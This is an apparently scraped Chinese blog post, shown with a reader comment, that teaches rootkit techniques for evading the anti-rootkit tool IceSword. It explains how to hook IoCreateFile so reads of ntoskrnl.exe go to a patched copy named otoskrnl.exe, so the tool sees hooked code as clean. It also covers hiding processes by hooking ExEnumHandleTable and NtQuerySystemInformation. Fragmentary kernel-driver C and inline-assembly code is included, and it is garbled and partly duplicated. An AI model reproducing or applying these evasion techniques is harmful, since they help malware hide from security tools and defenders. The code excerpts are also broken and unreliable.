文章分为八个部分:
一、为什么需要伪造内核 另:建议先看看最后那些参考文章。 一、为什么需要伪造内核: IceSword(以下简称IS)为了防止一些关键系统函数(包括所有服务中断表中的函数以及IS驱动部分要使用到的一些关键函数)被patch,它直接读取内核文件(以下简称“ntoskrnl.exe”),然后自己分析ntoskrnl.exe的PE结构来获取关键系统函数的原始代码并且把当前内核中所有的关键系统函数还原为windows默认状态,这样保证了IS使用到的函数不被patch过。也许你会想如果我们把还原后的函数再进行patch不还是能躲的过去吗?笔者也试过,还专门写了ring0的Timer来不停的patch自己想hook的函数。结果IS棋高一筹,在对所有的关键系统函数进行还原以后,IS每次调用这些函数前都会先把这些函数还原一次。这样还是能保证IS自己使用到的关键系统函数不被patch。也许你还会想缩小Timer的时间间隔,以致于IS对这些函数进行还原后,这些函数马上又被我们patch,这样IS再调用这些函数时不还是执行了我们patch过的函数。这种想法粗略看起来可以,但你仔细一想就知道是不行的。 治病还是得治本,也许你想过不如直接修改ntoskrnl.exe文件内容,使得IS一开始读入的就已经是我们patch过得函数内容,这样不就躲过去了。这种想法有两个很大的副作用: 1、在通常的默认情况下,windows的系统文件保护是打开的,要停止这种系统文件保护要付出很大的代价,有可能需要重启。 2、就算你停止了系统文件保护,也成功修改了ntoskrnl.exe,但是你不能保证系统每次都能正常关机 而伪造内核文件就很好的避免了上面谈的两大副作用。主要处理下面三个点: 1、截获并修改IS打开ntoskrnl.exe消息,使它指向我要伪造的内核文件(假设为“otoskrnl.exe”) 2、在内核文件中定位我们要修改的数据。 3、隐藏我们伪造的“otoskrnl.exe”,这点请看本文的第七部分。 二、 伪造内核文件: 先说一下本文hook函数的方式: 1、取该函数起始地址的前六个字节内容保留在unsigned char resume[6]中。 2、把构造的两条指令push xxxxxxxx(我们自己构造的函数地址) ret 保留到unsigned char crackcode[6](这两条指令刚好六个字节)中。 3、把该函数起始址的6个字节替换成crackcode[6]的内容。这样系统调用该函数时就会先跳到xxxxxxxx地址去执行我们构造的函数。 而我们构造的xxxxxxxx函数的主要结构如下: 1、把我们hook的那个函数起始的前6个字节用resume[6]内容进行还原。 2、对传递的程序参数进行处理等。 3、调用被还原后的函数。 4、此时可以处理函数返回后的数据等。 5、把还原后的那个函数的起始地址前6个字节再用crackcode[6]内容进行替换。 6、返回。 IS是通过IoCreateFile函数来打开ntoskrnl.exe,因此我们只要hook这个函数,并检查其打开的文件名,如果是打开ntoskrnl.exe的话,我们把文件名替换成otoskrnl.exe再扔回去就OK了。这样所有针对于ntoskrnl.exe文件的操作都会指向otoskrnl.exe, 当然前提是你在进入驱动前记得先把ntoskrnl.exe在原目录下复制一份并命名为otoskrnl.exe。 关于我们要修改的数据在ntoskrnl.exe中偏移的算法也很简单,这里给出公式如下: 函数在中文件偏移=当前函数在内存中的地址 - 当前函数所在驱动模块的起始地址 举个例子来说,假设IoCreateFile在内核中的内存地址是0x8056d1234,由于它是在内存中ntoskrnl.exe模块中,假设ntoskrnl.exe起始地址是0x8045d000。那么IoCreateFile在磁盘上的ntoskrnl.exe文件中的偏移就是0x8056d123-0x8045d000=0x110123了。 再进行详细点说明:假设你对IoCreateFile函数进行了patch,使得该函数起始地址的6前六节的数据XXXXXX变成了YYYYYY。那么你只要打开otoskrnl.exe,把文件偏移调整到上面所说的0x110123处,在写入6个字节的数据YYYYYY。那么当IS打开otoskrnl.exe的话,读出的数据就是YYYYYY了! 下面的代码实现两个功能,一个功能就是hook了IoCreateFile函数,使的所有指向ntoskrnl.exe的操作都指向otoskrnl.exe。另外一个功能就是进行伪造内核(函数RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr)),其中FunctionOffset参数内容就是我们要hook的函数在内存中的地址。RepairDataPtr是指向字符crackcode[6]第一个字节的指针。主要功能就是先把要hook的函数地址在otoskrnl.exe文件中进行定位,然后再把crackcode[6]内容写进去。 #include "ntddk.h" #define DWORD unsigned long PCWSTR NTOSKRNL=L"ntoskrnl.exe" unsigned char ResumCodeIoCreateFile[6]; typedef NTSTATUS ( *IOCREATEFILE )( OUT PHANDLE FileHandle, IOCREATEFILE OldIoCreateFile; DWORD GetFunctionAddr( IN PCWSTR FunctionName) RtlInitUnicodeString( &UniCodeFunctionName, FunctionName ); } NTSTATUS RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr) RtlInitUnicodeString ( InitializeObjectAttributes ( //下面计算出函数在otoskrnl.exe中的偏移,NtoskrnlBase就是 NtosFileOffset.QuadPart = FunctionOffset - NtoskrnlBase; Status = ZwWriteFile( } NTSTATUS NewIoCreateFile ( OUT PHANDLE FileHandle, { _asm //对IoCreateFile函数进行还原 IsNtoskrnl = wcsstr( FileNameaddr, NTOSKRNL ); //判断是否时打开ntoskrnl.exe if ( IsNtoskrnl != NULL ) Status = OldIoCreateFile ( _asm //把还原后的代码又替换成我们伪造的代码 } NTSTATUS PatchIoCreateFile() if ( OldIoCreateFile == NULL ) _asm //关中断 //把构造好的代码进心替换 _asm //开中断 Status = RepairNtosFile( return Status; } 上面给出的代码中,有些是公共使用的部分,如:GetFunctionAddr()(用来获取函数地址)以及RepairNtosFile()(功能上文已经介绍)函数。为节省版面,在下面的代码中将直接对其进行引用,而不再贴出它们的代码。下面的代码将不会再include头文件。而是直接定义自己所使用到的变量。其中include的投文件与上面的代码相同,另外本文中所有的例子都没有给出Unloaded例程(浪费版面),自己看着写了另外,本文贴出的所有代码,除了第六部分代码只在XP下测试通过,其他代码均再2K及XP下测试并通过。笔者在写这些代码时虽然兼顾到了2K3,但是笔者并没有在2K3中测试过这些代码。这些代码中夹杂了一些汇编指令。这些汇编指令产生主要有两种原因:一是当时的我认为某些东西用汇编指令来表示非常直观,如还原与替换函数代码那个部分。二是在分析一些数据时,由于眼前面对的是纯16进制的数据,于是也没多想咔咔就用汇编写了一个循环下来。如果给你阅读代码造成了不便,笔者在这表示歉意。 三、 隐藏进程 对付IS枚举进程ID的思路是这样的,hook系统函数ExEnumHandleTable,使它先运行我们指定的函数NewExEnumHandleTable,在NewExEnumHandleTable函数中,我们先获取它的回调函数参数Callback所指向的函数地址,把它所指向的函数地址先放到OldCallback中,然后用我们构造的新的回调函数FilterCallback去替换掉原来的Callback。这样该函数在执行回调函数时就会先调用我们给它的FilterCallback回调函数。在我们设计的FilterCallback中,判断当前进程ID是否时我们要隐藏的进程ID,不是的话则把参数传给OldCallback去执行,如果是的话则直接return。这样就起到隐藏进程的作用。 以上是对付IS的,对于应付windows进程管理的方法,与sinister使用的方法大体相同,不过有些不同。sinister是通过比较进程名来确定自己要隐藏的进程。这种方法对于隐藏要启动两个和两个以上相同名字的进程比较可取,但问题是如果你只是要隐藏一个进程的话。那么这个方法就显得不完美了。完全可以通过直接比较进程ID来确定自己要隐藏的进程。建议不到不得以的时候尽量不要使用比较文件名的方法,太影响效率。 下面的代码中,GetProcessID()函数是用来从注册表中读取要隐藏的进程ID,当然首先你要在注册表设置这个值。用注册表还是很方便的。 PatchExEnumHandleTable()函数是通过hook系统函数ExEnumHandleTable函数实现在IS中隐藏目标进程,PatchNtQuerySystemInformation ()函数是通过hook系统函数NtQuerySystemInformation并通过比较进程ID的方法实现隐藏进程。 HANDLE ProtectID; typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)( IN ULONG SystemInformationClass, NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation; typedef VOID (*EXENUMHANDLETABLE) EXENUMHANDLETABLE OldExEnumHandleTable; typedef BOOL (*EXENUMHANDLETABLECALLBACK) EXENUMHANDLETABLECALLBACK OldCallback; NTSTATUS GetProcessID ( HANDLE KeyHandle; UNICODE_STRING UnicodeProcIDreg; InitializeObjectAttributes ( Status = ZwOpenKey ( if (Status != STATUS_SUCCESS) RtlInitUnicodeString ( valueInfoLength = sizeof(KEY_VALUE_PARTIAL_INFORMATION); valueInfoP = (PKEY_VALUE_PARTIAL_INFORMATION) ExAllocatePool ( if (Status != STATUS_SUCCESS) Phandle = (PHANDLE)(valueInfoP->Data); ProtectID = *Phandle; ZwClose(KeyHandle); return STATUS_SUCCESS; } BOOL FilterCallback ( if ( PID != (DWORD)ProtectID) //判断是否是我们要隐藏的进程 BOOL FilterCallback ( if ( PID != (DWORD)ProtectID) //判断是否是我们要隐藏的进程 VOID NewExEnumHandleTable( OldCallback = Callback; //把Callback参数给OldCallback进行保留 Callback = FilterCallback; //用FilterCallback替换调原来的Callback _asm //还原 OldExEnumHandleTable ( NTSTATUS PatchExEnumHandleTable() OldExEnumHandleTable = (EXENUMHANDLETABLE) GetFunctionAddr(L"ExEnumHandleTable"); if ( OldExEnumHandleTable == NULL ) _asm //关中断 //把构造好的代码进心替换 _asm //开中断 |
阅读全文(53) | 回复(3) | TrackBack(0) | 编辑 | 精华 |
|
回复:利用伪造内核文件来绕过IceSword的检测 卷积内核发表评论于2006-1-17 10:16:53 |
|
|